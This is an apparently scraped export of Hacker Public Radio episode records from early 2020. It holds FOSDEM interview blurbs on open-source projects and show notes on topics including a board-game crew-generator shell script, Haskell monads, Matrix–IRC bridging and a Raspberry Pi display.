                                                            \n

                                                            Links

                                                            \n\n\n\n

                                                            AdoptOpenJDK

                                                            \n

                                                            \"Logo\"

                                                            \n
                                                            \nPrebuilt OpenJDK Binaries for Free!
                                                            \nJava™ is the world's leading programming language and platform. AdoptOpenJDK uses infrastructure, build and test scripts to produce prebuilt binaries from OpenJDK™ class libraries and a choice of either the OpenJDK HotSpot or Eclipse OpenJ9 VM. All AdoptOpenJDK binaries and scripts are open source licensed and available for free.\n
                                                            \n

                                                            Listen to the interview with Stewart X Addison AdoptOpenJDK

                                                            \n

                                                            \"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n\n

                                                            Apache Camel

                                                            \n

                                                            \"Logo\"

                                                            \n
                                                            \nApache Camel is an open source framework for message-oriented middleware with a rule-based routing and mediation engine that provides a Java object-based implementation of the Enterprise Integration Patterns using an application programming interface (or declarative Java domain-specific language) to configure routing and mediation rules. The domain-specific language means that Apache Camel can support type-safe smart completion of routing rules in an integrated development environment using regular Java code without large amounts of XML configuration files, though XML configuration inside Spring Framework is also supported. Camel is often used with Apache ServiceMix, Apache ActiveMQ and Apache CXF in service-oriented architecture projects. \n
                                                            \n

                                                            Listen to the interview with Rachel Yordán from Apache Camel

                                                            \n

                                                            \"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n\n

                                                            Checkmk

                                                            \n

                                                            \"Logo\"

                                                            \n
                                                            \nBest-in-class infrastructure and application monitoring. Helping you stay up and running from simple to the most complex environments.\n
                                                            \n

                                                            Listen to the interview with Marcel Arentz from Checkmk

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n\n

                                                            Coderdojo

                                                            \n

                                                            \"Logo\"

                                                            \n
                                                            \nCoderDojo organizes free coding workshops (called Dojo’s) for girls and boys from 7 to 18 years old. A Dojo is entirely prepared and led by volunteers. If you are older, then you can help out at an existing Dojo or start your very own CoderDojo! \n
                                                            \n

                                                            Listen to the interview with Coderdojo

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n\n

                                                            Eclipse Foundation

                                                            \n

                                                            \"Logo\"

                                                            \n
                                                            \nThe Eclipse Foundation provides our global community of individuals and organizations with a mature, scalable, and business-friendly environment for open source software collaboration and innovation. The Foundation is home to the Eclipse IDE, Jakarta EE, and over 350 open source projects, including runtimes, tools, and frameworks for a wide range of technology domains such as the Internet of Things, automotive, geospatial, systems engineering, and many others.\n
                                                            \n

                                                            Listen to the interview with Mikaël Barbero, Release Engineer, Eclipse Foundation

                                                            \n

                                                            \"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n\n

                                                            GitLab

                                                            \n

                                                            \"Logo\"

                                                            \n
                                                            \nGitLab is a web-based DevOps lifecycle tool that provides a Git-repository manager providing wiki, issue-tracking and CI/CD pipeline features, using an open-source license, developed by GitLab Inc.\n
                                                            \n

                                                            Listen to the interview with David Planella Director Of Community Relations at GitLab

                                                            \n

                                                            \"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n\n

                                                            GNU Health

                                                            \n

                                                            \"Logo\"

                                                            \n
                                                            \nGNU Health combines the socioeconomic determinants of health with state-of-the-art technology in bioinformatics and clinical genetics. It manages the internal processes of a health institution, such as financial management, stock and pharmacies or laboratories (LIMS)\n
                                                            \n

                                                            Listen to the interview with Axel K. Braun about GNU Health

                                                            \n

                                                            \"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n\n

                                                            Javascript

                                                            \n

                                                            \"Logo\"

                                                            \n
                                                            \nHackages is a community-based tech company with education at its core. We help you boost your skills and realise your projects through our expertise in training, product development, consultancy and community building.\n
                                                            \n

                                                            Listen to the interview with Marta Moliz about Javascript

                                                            \n

                                                            \"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n\n

                                                            Jenkins-x

                                                            \n

                                                            \"Logo\"

                                                            \n
                                                            \nJenkins X provides pipeline automation, built-in GitOps, and preview environments to help teams collaborate and accelerate their software delivery at any scale.\n
                                                            \n

                                                            Listen to the interview with Kara de la Marck, Open Source Community Manager at CloudBees, about Jenkins-x

                                                            \n

                                                            \"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n\n

                                                            Kopano

                                                            \n

                                                            \"Logo\"

                                                            \n
                                                            \n100% Open source collaboration tools: email, calendaring, Mattermost chat, webRTC video meetings, document collaboration with LibreOffice Online, integration with file storage services and more.\n
                                                            \n

                                                            Listen to the interview with Brian Joseph about Kopano

                                                            \n

                                                            \"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n\n

                                                            KubeVirt and Metal3

                                                            \n

                                                            \"Logo\"

                                                            \n
                                                            \nVirtual Machine Management on Kubernetes. Building a virtualization API for Kubernetes. KubeVirt technology addresses the needs of development teams that have adopted or want to adopt Kubernetes but possess existing Virtual Machine-based workloads that cannot be easily containerized. More specifically, the technology provides a unified development platform where developers can build, modify, and deploy applications residing in both Application Containers as well as Virtual \n
                                                            \n

                                                            \"Logo\"

                                                            \n
                                                            \nThere are a number of great open source tools for bare metal host provisioning, including Ironic. Metal3.io aims to build on these technologies to provide a Kubernetes native API for managing bare metal hosts via a provisioning stack that is also running on Kubernetes. We believe that Kubernetes Native Infrastructure, or managing your infrastructure just like your applications, is a powerful next step in the evolution of infrastructure management.\n
                                                            \n

                                                            Listen to the interview with KubeVirt and Metal3

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n\n

                                                            Micropython and Espruino

                                                            \n

                                                            \"Logo\"

                                                            \n
                                                            \nMicroPython is a lean and efficient implementation of the Python 3 programming language that includes a small subset of the Python standard library and is optimised to run on microcontrollers and in constrained environments. \n
                                                            \n

                                                            \"Logo\"

                                                            \n
                                                            \nEspruino is an open-source JavaScript interpreter for microcontrollers. It is designed for devices with small amounts of RAM (as low as 8kB). Espruino was created by Gordon Williams in 2012 as an attempt to make microcontroller development truly multiplatform. It was made open-source in 2013 after a successful Kickstarter campaign for a development board running the software.\n
                                                            \n

                                                            Listen to the interview with Christine Spindler from Micropython and Gordon Williams from Espruino

                                                            \n

                                                            \"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n\n

                                                            Nuspell

                                                            \n

                                                            \"Logo\"

                                                            \n
                                                            \n
                                                            \n

                                                            Listen to the interview with Sander van Geloven from Nuspell

                                                            \n

                                                            \"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n\n

                                                            openHAB

                                                            \n

                                                            \"Logo\"

                                                            \n
                                                            \nEmpowering the smart home. A vendor and technology agnostic open source automation software for your home.\n
                                                            \n

                                                            Listen to the interview with Thomas Bail about openHAB

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n\n

                                                            OpenStack Foundation

                                                            \n

                                                            \"Logo\"

                                                            \n
                                                            \nThe OpenStack Foundation promotes the global development, distribution and adoption of open infrastructure with more than 105,000 community members from 187 countries around the world. The OpenStack Foundation was founded in September 2012 to provide an independent home for the OpenStack cloud operating system, which has since become one of the largest and most diverse open source projects in history.\n
                                                            \n

                                                            Listen to the interview with Jeremy Stanley about OpenStack Foundation

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n\n

                                                            OpenTAP

                                                            \n

                                                            \"Logo\"

                                                            \n
                                                            \nOpenTAP is an open source project for test automation. An open source test sequencing engine. The project is available online at \nhttps://Gitlab.com/OpenTAP/OpenTAP\n
                                                            \n

                                                            Listen to the interview with Michael Dieudonné about OpenTAP

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n\n

                                                            OpenUK

                                                            \n

                                                            \"Logo\"

                                                            \n
                                                            \nWe are a UK organisation committed to develop and sustain UK leadership in Open Technology. We promote businesses, projects and people, who use Open. We strive to collaborate across all existing organisations for Open.\n
                                                            \n

                                                            Listen to the interview with Amanda Brock about OpenUK

                                                            \n

                                                            \"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n\n

                                                            openWifi

                                                            \n

                                                            \"Logo\"

                                                            \n
                                                            \nopenwifi: Linux mac80211 compatible full-stack IEEE802.11/Wi-Fi design based on SDR (Software Defined Radio).\n
                                                            \n

                                                            Listen to the interview with XianJun Jiao about openWifi

                                                            \n

                                                            \"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n\n

                                                            OWASP

                                                            \n

                                                            \"Logo\"

                                                            \n
                                                            \nThe Open Web Application Security Project (OWASP) is a nonprofit foundation that works to improve the security of software. Through community-led open source software projects, hundreds of local chapters worldwide, tens of thousands of members, and leading educational and training conferences, the OWASP Foundation is the source for developers and technologists to secure the web.\n
                                                            \n

                                                            Listen to the interview with Antonis Manaras about OWASP

                                                            \n

                                                            \"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n\n

                                                            Percona

                                                            \n

                                                            \"Logo\"

                                                            \n
                                                            \nPercona is a leading provider of unbiased open source database solutions that allow organizations to easily, securely and affordably maintain business agility, minimize risks, and stay competitive.\n
                                                            \n

                                                            Listen to the interview with Evgeniy Patlan about Percona

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n\n

                                                            PineTime

                                                            \n

                                                            \"Logo\"

                                                            \n
                                                            \nAn Open Source Smartwatch For Your Favorite Devices. Low Cost, High Fidelity.\n
                                                            \nThe PineTime is a free and open source smartwatch capable of running custom-built open operating systems. Some of the notable features include a heart rate monitor, a week-long battery as well as a capacitive touch IPS display that is legible in direct sunlight. It is a fully community driven side-project, which means that it will ultimately be up to the developers and end-users to determine when they deem the PineTime ready to ship. \n
                                                            \n

                                                            Listen to the interview with Koen Zandberg about PineTime

                                                            \n

                                                            \"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n\n

                                                            PostGraphile

                                                            \n

                                                            \"Logo\"

                                                            \n
                                                            \nExtensible high-performance automatic GraphQL API for PostgreSQL\n
                                                            \n

                                                            Listen to the interview with Benjie Gillam, OSS Maintainer PostGraphile

                                                            \n

                                                            \"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n\n

                                                            Skolelinux / AlekSIS / Teckids

                                                            \n

                                                            \"Logo\"

                                                            \n
                                                            \nAt Teckids, all children and adolescents become part of the Free Software community - as users and contributors. Our young tutors aged between 9 and 16 regularly work together on their workshops, which they then lead for children and adolescents of the same age.\n
                                                            \n

                                                            Listen to the interview with Niels Bradek from Skolelinux / AlekSIS / Teckids

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n\n

                                                            Technoethical

                                                            \n

                                                            \"Logo\"

                                                            \n
                                                            \nTechnoethical is an online shop that sells hardware compatible with operating systems that fully respect users' freedom as defined by the GNU Project. We are based in Bucharest, Romania (European Union) and we ship worldwide.\n
                                                            \n

                                                            Listen to the interview with Tiberiu Turbureanu about Technoethical

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n\n

                                                            Tiny Go

                                                            \n

                                                            \"Logo\"

                                                            \n
                                                            \nTinyGo is a project to bring the Go programming language to microcontrollers and modern web browsers by creating a new compiler based on LLVM. You can compile and run TinyGo programs on several different microcontroller boards such as the BBC micro:bit and the Arduino Uno. TinyGo can also be used to produce WebAssembly (WASM) code which is very compact in size.\n
                                                            \n

                                                            Listen to the interview with Ron \"Dead Program\" Evans about Tiny Go

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n\n

                                                            XCP-ng

                                                            \n

                                                            \"Logo\"

                                                            \n
                                                            \nTurnkey Open Source Hypervisor. Based on XenServer, XCP-ng is the result of massive cooperation between individuals and companies, to deliver a product without limits. No restrictions on features and every bit available on GitHub! \n
                                                            \n

                                                            Listen to the interview with Olivier Lambert about XCP-ng

                                                            \n

                                                            \"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n\n

                                                            Zenroom

                                                            \n

                                                            \"Logo\"

                                                            \n
                                                            \nZenroom: easy cryptography to the people. Zenroom is a tiny and portable virtual machine that authenticates and manages access to data using human-readable smart contracts. Zenroom is easy to program to performs fast cryptographic operations for end-to-end encryption and runs on: desktop, embedded, mobile phones, clouds and web browsers.\n
                                                            \n

                                                            Listen to the interview with Denis \"Jaromil\" Roio from Zenroom

                                                            \n

                                                            \"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n\n

                                                            Fenster

                                                            \n

                                                            Fenster - Free Software Song

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            Track name : Free Software Song\nPerformer : Fenster\nRecorded date : 2002\nCopyright : Copyright (C) 2002, \nFenster LLC. Verbatim copying of this entire recording is permitted in any medium, \nprovided this notice is preserved. \nPerformers: \nPaul Robinson (vocals), \nRoman Kravec (guitar), \nEd D'Angelo (bass), \nDave Newman (drums), \nBrian Yarbrough (trumpet), \nTony Moore (trumpet). \n
                                                            \n\n","hostid":30,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"FOSDEM 2020","version":0,"downloads":0,"valid":1}, {"id":3023,"date":"2020-03-04","title":"Critique My Script, Episode 1 - Qots-Crew-Gen","duration":782,"summary":"Discussion of using a shell script to randomly generate a ten man aircrew.","notes":"

                                                            This is my second HPR episode and the first in what could be a series about shell scripts I have written. This episode goes through a short script which randomly generates first and last names for a ten man aircrew to use with the Avalon Hill game B-17 Queen of the Skies.

                                                            \n

                                                            You can see the basic script in action here:
                                                            \nhttps://www.sodface.com/misc/qots-crew-gen

                                                            \n

                                                            and a more complicated version here, though based on the same underlying methodolgy:
                                                            \nhttps://www.sodface.com/misc/qots-crew-gen2

                                                            \n

                                                            Here’s the script:

                                                            \n
                                                            #!/bin/sh\n\nfirst_names='./firstnames.txt'\nlast_names='./surnames.txt'\ncrew_positions='./positions.txt'\ncrew_ranks='./ranks.txt'\n\nlen_first_names=$(wc -l < ${first_names})\nlen_last_names=$(wc -l < ${last_names})\n\nnum_pairs=$(printf "10 ${len_first_names} ${len_last_names}" | \\\n    awk 'BEGIN { srand() }\n    { for (i=1; i<=$1; i++) {\n        for(f = 2; f <= NF; f++) {\n        num=int(rand() * $f + 1); printf num"," } printf "\\n"\n    }\n    }')\n\ni=1\n\nfor crew_member in ${num_pairs}\ndo\n  line_num=$(printf "${crew_member}" | cut -d',' -f1)\n  first_name=$(sed -n ${line_num}p ${first_names})\n\n  line_num=$(printf "${crew_member}" | cut -d',' -f2)\n  last_name=$(sed -n ${line_num}p ${last_names})\n\n  crew_position=$(sed -n ${i}p ${crew_positions})\n  crew_rank=$(sed -n ${i}p ${crew_ranks})\n\n  #\n  # Use the variables above to generate HTML.\n  # Omitted here to simplify this example.\n  #\n\n  i=$((( ${i} +1 )))\ndone
                                                            \n","hostid":380,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Shell Script,Random Numbers,Awk","version":0,"downloads":0,"valid":1}, {"id":3024,"date":"2020-03-05","title":"A funny thing happened the other day","duration":259,"summary":"Describing a funny thing that happened the other day.","notes":"

                                                            Equipment used

                                                            \n\n","hostid":201,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"story, audio, sound","version":0,"downloads":0,"valid":1}, {"id":3025,"date":"2020-03-06","title":"Keep unwanted messages off the Fediverse","duration":881,"summary":"ActivityPub Conference 2019, techniques for fighting SPAM and unwanted messages in the Fediverse.","notes":"

                                                            The ActivityPub Conference of 2019 was held in Prague. This is about a talk about how we can keep SPAM and unwanted messages off of our platforms in the Fediverse. https://www.zwilnik.com/?page_id=1089

                                                            \n

                                                            Links:

                                                            \n","hostid":198,"series":108,"explicit":0,"license":"CC-BY-SA","tags":"social media, alternative, Fediverse, ActivityPub, SPAM","version":0,"downloads":0,"valid":1}, {"id":3026,"date":"2020-03-09","title":"Hex Bug and Battle Bots","duration":1120,"summary":"Review/mods of fun Hex Bug and Battle Bots","notes":"

                                                            Review/mods of fun Hex Bug and Battle Bots

                                                            \n","hostid":36,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"robots,hexbug,battlebots,RC,IR","version":0,"downloads":0,"valid":1}, {"id":3027,"date":"2020-03-10","title":"What is quantum computing and why should we care?","duration":1515,"summary":"What is all the quantum computing hype about & what is it that quantum computers will be able to do?","notes":"

                                                            What are quantum computers anyway?

                                                            \n

                                                            Physical computing systems that take advantage of quantum effects.

                                                            \n

                                                            What kind of quantum effects, and why does that matter?

                                                            \n

                                                            Entanglement and superposition: Entanglement lets us do unusual, head-scratching kinds of things like teleportation. Superposition lets us harness the almost unimaginable potential of quantum mechanics to do things that conventional computers can never do.

                                                            \n

                                                            How can you ever explain that in a podcast?

                                                            \n

                                                            To really understand the details, you must have math, but math and audio formats are not so compatible. So I use analogies, and throw in some pithy quotes from Einstein and hope that does the trick.

                                                            \n

                                                            Big picture?

                                                            \n

                                                            Lots of work going on to build quantum processors (QPUs) that use quantum memory and, get this, will at some point actually do error correction. There are programming frameworks and rudimentary compilers to compile down python code all the way down to microwave pulses and laser pulses and there is control machinery to gather back the signals and interpret them to ones and zeros. Quantum computers will be securely networked using quantum protocols and we’ll all live happily ever after in a quantum computing world.

                                                            \n

                                                            Questions? Please leave suggestions if you want to dive a bit deeper in some topic areas - it’ll encourage me to do more episodes.

                                                            \n","hostid":379,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"quantum computing","version":0,"downloads":0,"valid":1}, {"id":3028,"date":"2020-03-11","title":"Monads and Haskell","duration":1275,"summary":"A hopefully not too rambly \"introduction\" to functors and monads in and out of haskell","notes":"

                                                            This is basically a transcript of the post I wrote on the subject which I host here It has a bit more than what I talked about

                                                            \n

                                                            Join in Haskell

                                                            \n

                                                            join is a monadic operation, instead of working only on lists, it works on monads and has the signature:

                                                            \n
                                                               join :: Monad m => m ( m a ) -> (m a)\n
                                                            \n

                                                            In effect it joins or merges two successive monad applications into a single monad application. But join is not part of the canonical monad definition, which is given by:

                                                            \n
                                                               return ::  Monad m => a -> m a` ; and`\n   (>>=) :: Monad m => m a -> ( a -> m b ) -> m b\n
                                                            \n

                                                            A good or rather trivial way to think of the relationship between return join and (>>=) is that in essence, since each monad is a functor, then what (>>=) does is that it maps the second argument over the first argument, and then uses join to merge the two applications of the monad constructor, i.e.:

                                                            \n
                                                              (x >>= f) = join $ fmap f x\n
                                                            \n

                                                            However, join needs to be constructed from return and (>>=). The naive solution is that we want to trick (>>=) to let us apply a function that does not pile up yet another m onto our initial type m (m a) and surprisingly, this will actually work if we let

                                                            \n
                                                               join x = (x >>= id)\n
                                                            \n

                                                            Initially this is surprising since id has the signature (c -> c) instead of the necessary a -> m b! However, when c is not an atomic type, but rather of the form m d for some (maybe atomic) type d, then we actually have the signature m d -> m d, and if we bind type a to m d and type b to d, we obtain id with actual type signatuare a -> m b, and it can indeed be used as the second argument of (>>=), and everything actually makes sense.

                                                            \n

                                                            Now style is important and so we can do an eta reduction on this, to get a point-free implementation by simply binding the second argument of >>=:

                                                            \n
                                                               join = (>>= id)\n
                                                            \n

                                                            This is all fine and well for the type number, and it does work, but it's also important to understand how it works, so let's see it in a simple example, using the Maybe monad. So let's start by refreshing the implementation of the monad instance:

                                                            \n
                                                            instance Monad Maybe where\n\n   (>>=) :: Maybe a -> (a -> Maybe b) -> Maybe b\n   (>>=) Nothing _ = Nothing\n   (>>=) (Just x) f = f x\n\n   return :: a -> Maybe a\n   return = Just\n
                                                            \n

                                                            So let's now go through the successive bindings when performing (>>=id):

                                                            \n
                                                               Just x = Just (Just 2) => x = Just 2\n   Just x >>= id = id x = x\n   x = Just 2\n
                                                            \n

                                                            This example is pretty much verbatim the same thing for the Either monad and many other monads that follow a similar principle, so let's look at a bit more of a complex example. Let's look at the List monad:

                                                            \n

                                                            instance Monad List where

                                                            \n
                                                               (>>=) :: [a] -> (a -> [b]) -> [b]\n   (>>=) [] _ = []\n   (>>=) (x:xs) f = f x ++ (xs >>= f)\n\n   return :: a -> [a]\n   return = (:[])\n
                                                            \n

                                                            Following the bindings again we have

                                                            \n
                                                               [[2,3],[4]] = (x:xs) => x = [2,3] ; xs = [[4]]\n   (x:xs) >>= id = (id x) ++ (xs >>= id) = x ++ (xs >>= id)\n   [[4]] = (y:ys) => y = [4] ; ys = []\n   (y:ys) >>= id = y ++ (ys >>= id)\n   ys = [] => (ys >>= id) = []\n   => (y:ys) >>= id  =  [4] ++ [] = [4]\n   => xs >>= id = [4]\n   => (x:xs) >>= id = x ++ [4] = [2,3] ++ [4] = [2,3,4]\n
                                                            \n

                                                            So all of this is to say that join actually does what one expects it to do on a list of lists. It joins them one by one into a single list.

                                                            \n

                                                            The Associativity Law

                                                            \n

                                                            The associativity law of a monad can be quite confusing, after all it takes the form:

                                                            \n
                                                               (m >>= f) >>= g == m >>= ( x -> f x >>= g )\n
                                                            \n

                                                            While not too complicated to understand it is difficult to see how it relates to a usual associativity law, which follows the form a * (b * c) = (a * b) * c. To recover the associativity the usual explanation is that one has to see it in terms of the monadic function composition (>=>) and while this is a valid way of doing so, I like to decompose things in terms of fmap, (>>=) and join.

                                                            \n

                                                            So let's use what we did previously on the associativity law, starting on the left side, and replacing the atomic-looking type m with the dependent type M z:

                                                            \n
                                                               (M z >>= f) >>= g\n   = join (fmap f (M z)) >>= g\n   = join (fmap g $ join ( fmap f (M z)))\n   = join (fmap g $ join ( M (f z) )\n
                                                            \n

                                                            and the right-hand side:

                                                            \n
                                                               M z >>= ( x -> f x >>= g )\n   = M z >>= ( x -> join $ fmap g (f x))\n   = join $ fmap ( x -> join $ fmap g (f x)) (M z)\n   = join $ M ( x -> join $ fmap g (f x)) z\n   = join $ M (join $ fmap g (f z))\n
                                                            \n

                                                            And essentially what it says is that if I have two functions f and g I can either do it in an orderly fashion where I apply them sequentially with join . fmap f followed by join . fmap g, or I can apply them both within the constructor and then join once within the constructor and one outside the constructor, and I should get the same thing. In fact if you replace f and g with id; this is the associativity law for monads as usually presented in a standard category theory textbook such as Mac Lane's Categories for the Working Mathematician (and recovering this was the whole point of this exercise in the first place).

                                                            \n","hostid":385,"series":107,"explicit":1,"license":"CC-BY-SA","tags":"Haskell, Programming, Math","version":0,"downloads":0,"valid":1}, {"id":3029,"date":"2020-03-12","title":"At Union Station with a train delay","duration":347,"summary":"This is a soundscape while waiting for a train at Union Station.","notes":"

                                                            I was waiting for the Metra train, when there was an announcement that the train would be late due to a server failure.

                                                            ","hostid":318,"series":101,"explicit":0,"license":"CC-BY-SA","tags":"soundscape, trains","version":0,"downloads":0,"valid":1}, {"id":3030,"date":"2020-03-13","title":"My new Samsung tablet","duration":1686,"summary":"A general discussion about my new 10.5 inch Samsung Galaxy tablet","notes":"
                                                              \n
                                                            • Samsung Galaxy Tab A 10.5 inch 2018 Tablet at 3:30
                                                              \nAmazon link

                                                            • \n
                                                            • Nexus 7 at 3:50
                                                              \nhttps://en.wikipedia.org/wiki/Nexus_7_(2013)

                                                            • \n
                                                            • New tablet Battery at 5:20
                                                              \nLithium Polymer batteries, 7300 mAh capacity with claimed 15 hours of video playback on one charge. It seems to charge surprisingly quickly.

                                                            • \n
                                                            • Wikipedia entry for Edinburgh City Bypass at 9:30
                                                              \nhttps://en.wikipedia.org/wiki/Edinburgh_City_Bypass

                                                            • \n
                                                            • Eye strain at 14:07

                                                            • \n
                                                            • Bluetooth Ear buds at 15:15
                                                              \nSimilar to these: Amazon link

                                                            • \n
                                                            • Bluetooth speaker at 16:52
                                                              \nAmazon link

                                                            • \n
                                                            • Bluetooth keyboard at 22:35
                                                              \nAmazon link

                                                            • \n
                                                            • Additional thoughts after recording this episode

                                                              \n
                                                                \n
                                                              • Closing one eye seems to solve the problem though not very practical. It doesn’t seem to matter which eye I close.

                                                              • \n
                                                              • Doesn’t seem to bother me with the other 8” Samsung tablet or any other tablet / phone.

                                                              • \n
                                                              • Counter intuitively increasing the brightness makes things better

                                                              • \n
                                                              • Searching for eye strain and Samsung brought up one or two results of people saying a similar thing to myself; one person commenting that they were fed up of people telling them to get an eye test and like myself they do not have this problem with any other device.

                                                              • \n
                                                            • \n
                                                            \n","hostid":201,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Android, Tablet","version":0,"downloads":0,"valid":1}, {"id":3031,"date":"2020-03-16","title":"Daniel Persson - Me? Me!","duration":1131,"summary":"I talk about who I am and where I come from and what my interests are.","notes":"

                                                            Talking about my history, forgot to talk about my open-source interests and different projects I’m a part of.

                                                            \n

                                                            If you want to know more about me you could follow any of the links below.

                                                            \n\n","hostid":382,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"biography","version":0,"downloads":0,"valid":1}, {"id":3032,"date":"2020-03-17","title":"piCore on a Raspberry Pi 1 Model B","duration":651,"summary":"How I revived my Raspberry Pi Model 1 B with piCore and a tiny SD card.","notes":"

                                                            In this episode, I discuss how I revived my Raspberry Pi 1 Model B using piCore, a specialized version of Tiny Core Linux for the Raspberry Pi, on a 128 MB SD card that I had laying around. I also mention nanoBSD and Alpine Linux as possible alternatives to try out.

                                                            \n\n","hostid":152,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"raspberrypi,rpi,linux,bsd","version":0,"downloads":0,"valid":1}, {"id":3033,"date":"2020-03-18","title":"Linux Inlaws S01E03 32 Bit Time Travel","duration":3543,"summary":"Linux Inlaws - a podcast on topics around free and open source software","notes":"

                                                            For show notes, please visit https://linuxinlaws.eu

                                                            ","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"Linux Inlaws, free open source software, revolution, FLOSS","version":0,"downloads":0,"valid":1}, {"id":3034,"date":"2020-03-19","title":"How to bridge Freenode IRC rooms to Matrix.org","duration":786,"summary":"Thaj builds upon a previous episode by Clacke to deep dive into bridging IRC to Matrix.org","notes":"
                                                              \n
                                                            • Attribution

                                                              \n
                                                            • \n
                                                            • Matrix.org is a Free, open source, and decentralized messaging system. One of the strong points of this system is its ability to bridge multiple protocols together into one interface.

                                                            • \n
                                                            • Riot.im

                                                            • \n
                                                            • Bridging to Freenode's IRC server is built into Matrix.org. If you already have a registered Nick on Freenode it is a simple process to associate your Matrix and Freenode accounts.

                                                            • \n
                                                            • Steps to bridge to a Freenode IRC room

                                                              \n
                                                                \n
                                                              1. Start a direct message with @freenode_NickServ:matrix.org and send the command identify nick pass (replacing nick and pass with your credentials).
                                                              2. \n
                                                              3. Direct message @appservice-irc:matrix.org with the command !storepass nick:pass
                                                              4. \n
                                                              5. Join the room #freenode_#oggcastplanet:matrix.org. You can really join any room on freenode with #freenode_#CHANNAME:matrix.org
                                                              6. \n
                                                              7. PROFIT!!!!
                                                              8. \n
                                                            • \n
                                                            \n","hostid":270,"series":108,"explicit":0,"license":"CC-BY-SA","tags":"Freenode, IRC, Matrix.org, Riot.im, Social Media","version":0,"downloads":0,"valid":1}, {"id":3035,"date":"2020-03-20","title":"Decentralised Hashtag Search and Subscription in Federated Social Networks","duration":669,"summary":"ActivityPub Conference 2019, a proposal for how we can use hashtags to find and subscribe to content","notes":"

                                                            The ActivityPub Conference of 2019 was held in Prague. This is about a talk a proposal for a method to allow searching for hashtags in a decentralized Fediverse environment so that we can find, and subscribe to, content of interest. https://www.zwilnik.com/?page_id=1091

                                                            \n

                                                            Links:

                                                            \n","hostid":198,"series":108,"explicit":0,"license":"CC-BY-SA","tags":"social media, alternative, Fediverse, ActivityPub, Hashtags","version":0,"downloads":0,"valid":1}, {"id":3036,"date":"2020-03-23","title":"WiiU is dead long live WiiU!","duration":1439,"summary":"How to approach dea-ish mod communities","notes":"\n","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"wiiu,modding,hacking,tcpgecko,android,ssl pinning,games","version":0,"downloads":0,"valid":1}, {"id":3037,"date":"2020-03-24","title":"Ambient recording at Union Station","duration":205,"summary":"Ambient recording in the main hall at Union Station, Chicago","notes":"

                                                            This was recorded in the main hall at Union Station in Chicago, Illinois.
                                                            \nThere was a brief security announcement about watching for bags or package left unattended.

                                                            ","hostid":318,"series":101,"explicit":0,"license":"CC-BY-SA","tags":"soundscape, train station","version":0,"downloads":0,"valid":1}, {"id":3038,"date":"2020-03-25","title":"Solo Magic","duration":2244,"summary":"All the magic without the gathering","notes":"

                                                            This episode outlines my single-player mod for the Magic: The Gathering card game.

                                                            ","hostid":78,"series":95,"explicit":0,"license":"CC-BY-SA","tags":"magic, mtg","version":0,"downloads":0,"valid":1}, {"id":3039,"date":"2020-03-26","title":"Making a Raspberry Pi status display","duration":1608,"summary":"A project making use of my Pi 3A+, an old monitor and MagicMirror2","notes":"

                                                            Introduction

                                                            \n

                                                            I have had a project on my To Do list for a while: to make a status display from a Raspberry Pi. My vision was to show the state of various things including some HPR stuff, and I had imagined setting up a Pi with a monitor and controlling it over SSH.

                                                            \n

                                                            I started on the project over the Christmas period 2019. I have a Raspberry Pi 3A+, which is a sort of souped-up Pi Zero, which I bought on a whim and hadn’t found a use for (Yannick reviewed this RPi model in show 2711). I also had an old square Dell monitor from about 15 years ago which still worked (at least to begin with).

                                                            \n

                                                            I had imagined I’d write some software of my own with a web front end which ran various tasks to monitor things.

                                                            \n

                                                            However, in my researches I came across MagicMirror2 which I thought I might be able to use instead of writing my own thing.

                                                            \n

                                                            Long notes

                                                            \n

                                                            I have provided detailed notes as usual for this episode, and these can be viewed here.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Raspberry Pi,VGA monitor,MagicMirror2,MQTT,Node.js,Electron","version":0,"downloads":0,"valid":1}, {"id":3040,"date":"2020-03-27","title":"Why use GNU Autotools","duration":1766,"summary":"6 good reasons you should be using a build system","notes":"

                                                            GNU Autotools is a build system that helps you distribute your code in a predictable and reliable way.\nBuild systems offer many benefits, including:\n

                                                            \n\n
                                                              \n
                                                            1. Standard and automate-able build process
                                                            2. \n
                                                            3. hooks into packaging systems (RPM, DEB, Slackbuilds, Flatpak, Snap, and so on)
                                                            4. \n
                                                            5. version reporting
                                                            6. \n
                                                            7. build for various OSes
                                                            8. \n
